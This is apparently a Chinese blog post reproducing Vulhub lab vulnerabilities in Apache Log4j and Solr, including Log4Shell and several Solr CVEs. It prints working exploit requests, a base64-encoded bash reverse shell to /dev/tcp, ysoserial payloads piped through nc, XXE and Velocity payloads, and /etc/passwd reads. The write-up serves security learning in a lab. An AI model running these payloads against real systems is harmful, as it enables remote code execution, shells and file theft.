当前位置: 首页 > news >正文

Vulhub——Log4j、solr

文章目录

  • 一、Log4j
    • 1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
    • 1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
  • 二、Solr
    • 2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)
    • 2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)
    • 2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)
    • 2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
    • Apache Solr RemoteStreaming 文件读取与SSRF漏洞

一、Log4j

1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

判断是否存在漏洞

发送数据包:

GET /solr/admin/cores?action=${jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

在这里插入图片描述
在这里插入图片描述

获取反弹shell

bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
  • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
  • 10.111.X.X:本机IP;
  • 192.168.92.6:kali IP。

在这里插入图片描述

所有链接均可实现JDNI注入,获取shell。

访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

在这里插入图片描述

在这里插入图片描述

1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell

在这里插入图片描述
反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.92.6 4712

在这里插入图片描述
在这里插入图片描述

二、Solr

2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)

Solr是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。Solr对外提供类似于 Web-service 的 API 接 口。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。
注意:Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。

影响版本:7.1.0之前版本

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983,可以看到solr的管理页面。
在这里插入图片描述
首先需要创建一个core,直接在web上创建会报错
在这里插入图片描述

  1. /opt/solr/server/solr新建test目录;
  2. /opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到test目录下。

在这里插入图片描述
创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 149{"add-listener":{"event":"postCommit","name":"n1","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

在这里插入图片描述
然后进行update操作,触发刚才添加的listener:

POST /solr/test/update HTTP/1.1
Host: 192.168.92.6:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 13[{"id":"n1"}]

在这里插入图片描述
在这里插入图片描述

2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)

构造XXE poc:

<?xml version="1.0" ?>
<!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"><!ENTITY % expr 'aaa)><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">&#x25;eval;&#x25;error;<!ELEMENT aa (bb'>%local_dtd;
]>
<message>any text</message>

编码后发送:

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

在这里插入图片描述

注意需要知道core。

2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
# solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。

访问192.168.92.6:8983
在这里插入图片描述
首先在页面左侧选择test核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>

在这里插入图片描述
点击Execute with this Confuguratio

docker ps 
docker exec -it <container-id> /bin/bash

在这里插入图片描述

2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

同样需要先创建core,这次是在将/opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到/var/solr/data/test1目录下,先在/var/solr/data下创建test1文件夹。

通过如下API获取所有的core:

http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
说明我们创建的core有效。

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

POST /solr/test1/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

在这里插入图片描述
注入Velocity模板即可执行任意命令:

http://192.168.92.6:8983/solr/test1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

docker安装成功后,需要新建core。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

访问http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json判断是否存在该漏洞。
在这里插入图片描述
发送数据包:

POST /solr/test/config HTTP/1.1
Host: 192.168.92.6:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 82{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}

在这里插入图片描述
访问http://192.168.92.6:8983/solr/test/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
在这里插入图片描述

相关文章:

Vulhub——Log4j、solr

文章目录 一、Log4j1.1 Apache Log4j2 lookup JNDI 注入漏洞&#xff08;CVE-2021-44228&#xff09;1.2 Apache Log4j Server 反序列化命令执行漏洞&#xff08;CVE-2017-5645&#xff09; 二、Solr2.1 Apache Solr 远程命令执行漏洞&#xff08;CVE-2017-12629&#xff09;2.…...

linux 设置程序自启动

程序随系统开机自启动的方法有很多种&#xff0c; 这里介绍一种简单且常用的&#xff0c; 通过系统的systemd服务进行自启动。 第一步&#xff1a; 新建一个.service文件 sudo vim /etc/systemd/system/myservice.service[Unit] DescriptionMy Service #Afternetwork.target[…...

PostgreSQL 分区表与并行查询(十)

1. 分区表概述 1.1 什么是分区表 分区表是将大表分割成更小、更可管理的部分的技术。每个分区表都可以单独进行索引和查询&#xff0c;从而提高查询性能和管理效率。 1.2 分区策略 1.2.1 基于范围的分区 按照时间范围或者数值范围进行分区&#xff0c;如按月或按地区。 C…...

React Hooks使用规则:为什么不在条件语句和循环中使用它们

React Hooks为函数组件引入了状态和生命周期特性&#xff0c;极大地增强了其功能。然而&#xff0c;正确使用Hooks是确保组件稳定性和性能的关键。本文将探讨React Hooks的基本规则&#xff0c;以及为什么我们不应该在条件语句和循环中使用它们。 Hooks的基本规则 React团队为…...

【Docker】Consul 和API

目录 一、Consul 1. 拉取镜像 2. 启动第一个consul服务&#xff1a;consul1 3. 查看consul service1 的ip地址 4. 启动第二个consul服务&#xff1a;consul2&#xff0c; 并加入consul1&#xff08;使用join命令&#xff09; 5. 启动第三个consul服务&#xff1a;consul3&…...

Python polars学习-07 缺失值

背景 polars学习系列文章&#xff0c;第7篇 缺失值 该系列文章会分享到github&#xff0c;大家可以去下载jupyter文件&#xff0c;进行参考学习 仓库地址&#xff1a;https://github.com/DataShare-duo/polars_learn 小编运行环境 import sysprint(python 版本&#xff1a;…...

前端面试题(八)答案版

面试形式&#xff1a;线下面试&#xff1a;一面&#xff1a;30分钟二面&#xff1a;30分钟 特殊要求&#xff1a;内网开发自研UI组件库&#xff08;无文档介绍&#xff09;学习能力要求高 面试评价&#xff1a;题目灵活应用性较强 面试官&#xff1a;项目负责人前端负责人 …...

在交易中出场比入场更为重要

出场策略和交易退出机制比交易者入场的方式更为关键&#xff0c;它们对整体回报和结果的持续性有着更大的影响。 即使交易者入场时的条件并非最佳&#xff0c;良好的出场策略也能扭转局势。反之&#xff0c;即使交易者以近乎完美的条件入场&#xff0c;若出场策略管理不当&…...

【D3.js in Action 3 精译】关于本书

文章目录 本书读者本书结构与路线图本书代码liveBook 在线论坛 D3.js 项目的传统开发步骤 本书读者 这本书适用于所有渴望在数据可视化工作中获得完全创意自由的人&#xff0c;从定制化的经典图表到创建独特的数据可视化布局&#xff0c;涵盖内容广泛&#xff0c;应有尽有。您…...

【408考点之数据结构】二叉树的概念与实现

二叉树的概念与实现 一、二叉树的概念 二叉树是一种特殊的树结构&#xff0c;其中每个节点最多有两个子节点&#xff0c;分别称为左子节点和右子节点。二叉树广泛应用于许多计算机科学领域&#xff0c;如表达式解析、排序、搜索算法等。 二、二叉树的性质 性质1&#xff1a…...

STM32之二:时钟树

目录 1. 时钟 2. STM3时钟源&#xff08;哪些可以作为时钟信号&#xff09; 2.1 HSE时钟 2.1.1 高速外部时钟信号&#xff08;HSE&#xff09;来源 2.1.2 HSE外部晶体电路配置 2.2 HSI时钟 2.3 PLL时钟 2.4 LSE时钟 2.5 LSI时钟 3. STM32时钟&#xff08;哪些系统使用时…...

第十四站:Java玫瑰金——移动开发(第二篇)

处理不同类型的网络连接和增强错误处理及用户反馈&#xff0c;需要我们对网络状态检查逻辑进行扩展&#xff0c;并在UI上给予用户适当的提示。以下是对Java代码的进一步扩充&#xff1a; 网络状态检查扩展&#xff1a;区分Wi-Fi和移动数据&#xff0c;并根据网络类型提供不同的…...

数据处理技术影响皮质-皮质间诱发电位的量化

摘要 皮质-皮质间诱发电位(CCEPs)是探究颅内人体电生理学中有效连接性的常用工具。与所有人体电生理学数据一样&#xff0c;CCEP数据极易受到噪声的影响。为了解决噪声问题&#xff0c;通常会对CCEP数据进行滤波和重参考&#xff0c;但不同的研究会采用不同的处理策略。本研究…...

ResultSet的作用和类型

ResultSet的作用&#xff1a; ResultSet在Java中主要用于处理和操作数据库查询结果。它是一个接口&#xff0c;提供了一系列方法来访问和操作数据库查询得到的结果集。具体来说&#xff0c;ResultSet的作用包括&#xff1a; 获取查询结果&#xff1a;通过ResultSet可以获取数…...

计算机网络:运输层 - TCP首部格式 连接的创建与释放

计算机网络&#xff1a;运输层 - TCP首部格式 & 连接的创建与释放 TCP首部格式源端口 目的端口序号确认号数据偏移保留控制位窗口检验和紧急指针 TCP连接创建 - 三次握手TCP传输过程TCP连接释放 - 四次挥手 TCP首部格式 TCP的首部如下&#xff1a; 首部的前20 byte是固定的…...

妈耶!被夸爆的零售数据分析方案在这里

在竞争激烈的零售市场中&#xff0c;数据分析已成为企业决胜的关键。今天&#xff0c;就为大家揭秘一份备受赞誉的零售数据分析方案——奥威BI零售数据分析方案&#xff0c;它围绕“人、货、场、供、财”五大主题&#xff0c;助力企业精准决策&#xff0c;实现业务增长。 一、人…...

AI探索:最佳落地应用场景

如果说今年的风口&#xff0c;那一定是 AI。不过AI像一把双刃剑&#xff0c;既有助益也有风险。我们将从IBM Watson的高飞与坠落&#xff0c;到Google Allo的黯然失色&#xff0c;探索AI应用中的教训。同时&#xff0c;瑞幸咖啡的成功故事展现了凭借策略得当的AI应用&#xff0…...

2024年最新机动车签字授权人考试题库。

31."简易瞬态工况法"所使用的五气分析仪的温度范图:分析系统及相关部件应在&#xff08; &#xff09;。 A.0-40℃ B.0-50℃ C.0-60℃ D.-10-40℃ 答案:A 32.稀释氧传感器环境空气量程检测时的读数值位于&#xff08; &#xff09;%vol范围之外时&#xff0c;应…...

软RAID

硬盘 连续空间 无法 扩容 lvm 非连续空间 可以动态扩容 raid 备份&#xff0c; 提高读写性能&#xff0c;不能扩容 raid 是磁盘的集合&#xff0c;按照排列组合的方法不 一&#xff0c;给 raid 去了不同的名字 raid0 raid1 raid5 raid10 什么是 RAID "RAID"…...

IDEA 学习之 启动“卡死”

目录 1. 断点问题2. IDEA 版本问题 1. 断点问题 部分断点涉及应用启动&#xff0c;会导致启动“卡死” 2. IDEA 版本问题 部分 IDEA 版本存在启动问题&#xff0c;本人之前遇到过&#xff08;别人启动三分钟&#xff0c;我启动半个小时&#xff09;。更换别的版本&#xff…...

豆瓣高分项目管理书籍推荐

&#x1f4ec;豆瓣网站上有很多项目管理领域的书籍获得了较高的评分&#xff0c;以下是一些高分项目管理书籍的精选列表&#xff0c;发出来跟大家分享一下&#xff1a; 《项目管理知识体系指南&#xff08;PMBOK指南&#xff09;》 【内容简介】这本书是美国项目管理协会&…...

关于docker存储overlay2相关问题

报错如下&#xff1a; 报错原因&#xff1a;使用rm -rf 清理overlay2导致的&#xff0c;非正常清理。 正常清理命令如下&#xff1a; # 清理Docker的所有构建缓存 docker builder prune# 删除旧于24小时的所有构建缓存 docker builder prune --filter "until24h"#删…...

实现批量自动化电商数据采集|商品详情页面|店铺商品信息|订单详情数据

电商数据采集是指通过技术手段获取电商平台上的商品信息、店铺信息和订单信息等数据。这些数据可以用于市场分析、竞品分析、用户行为分析等。 商品详情页面是指电商平台上展示商品详细信息的页面&#xff0c;包括商品名称、价格、图片、描述、评价等信息。通过采集商品详情页…...

ES6(ECMAScript 6.0) 新特性

1 ES6 基本介绍 &#xff08;1&#xff09;ECMAScript 6.0(简称 ES6)是 JavaScript 语言的下一代标准&#xff0c; 2015 年 6 月发布。 &#xff08;2&#xff09;ES6 设计目标&#xff1a;达到 JavaScript 语言可以用来编写复杂的大型程序&#xff0c;成为企业级开发语言 &…...

性能工具之 JMeter 常用组件介绍(八)

文章目录 一、Jmeter命令行启动二、Jmeter脚本录制 本文主要介绍JMeter命令行启动和脚本录制功能 一、Jmeter命令行启动 Jmeter有两种运行&#xff1a; 一种是采用的界面模式(GUI&#xff09;启动&#xff0c;会占用不少系统资源&#xff1b;另一种是命令行模式&#xff08;n…...

分布式锁(Redission)

分布式锁&#xff1a; 使用场景&#xff1a; 通常对于一些使用率高的服务&#xff0c;我们会进行多次部署&#xff0c;可能会部署在不同的服务器上&#xff0c;但是他们获取和操作的数据仍然是同一份。为了保证服务的强一致性&#xff0c;我们需要对线程进行加锁&#xff0c;…...

【ARMv8/v9 GIC 系列 3 -- GIC 的 类型寄存器 GICD_TYPER】

文章目录 GIC 类型寄存器 GICD_TYPERESPI_Range, 位[31:27]RSS, 位[26]No1N, 位[25]A3V, 位[24]IDBits, 位[23:19]DVIS, 位[18]LPIs, 位[17]MBIS, 位[16]NUM_LPIs, 位[15:11]SecurityExtn, 位[10]NMI, 位[9]ESPI, 位[8]CPUNumber, 位[7:5]ITLinesNumber, 位[4:0]GIC 类型寄存器…...

MATLAB算法实战应用案例精讲-【数模应用】线性判别分析(附MATLAB、python和R语言代码实现)

目录 前言 算法原理 什么是判别分析 线性判别分析(LDA) 数学模型 二分类 多分类LDA ​编辑 算法思想: 费歇(FISHER)判别思想 贝叶斯(BAYES)判别思想 LDA算法流程 LDA与PCA对比 SPSSPRO 1、作用 2、输入输出描述 3、案例示例 4、案例数据 5、案例操作 …...

打造智能家居:用ESP32轻松实现无线控制与环境监测

ESP32是一款集成了Wi-Fi和蓝牙功能的微控制器&#xff0c;广泛应用于物联网项目。它由Espressif Systems公司开发&#xff0c;具有强大的处理能力和丰富的外设接口。下面我们将详细介绍ESP32的基础功能和引脚功能&#xff0c;并通过具体的实例项目展示其应用。 主要功能 双核处…...

大型Web应用的模块化与组织实践:Flask Blueprints深入解析

目录 一、引言 二、Flask Blueprints概述 三、Flask Blueprints的使用 创建Blueprint对象 定义路由和视图函数 注册Blueprint 使用Blueprints组织代码 四、案例分析 创建模块目录结构 创建Blueprint对象 注册Blueprint 五、代码示例与最佳实践 1. 代码示例 …...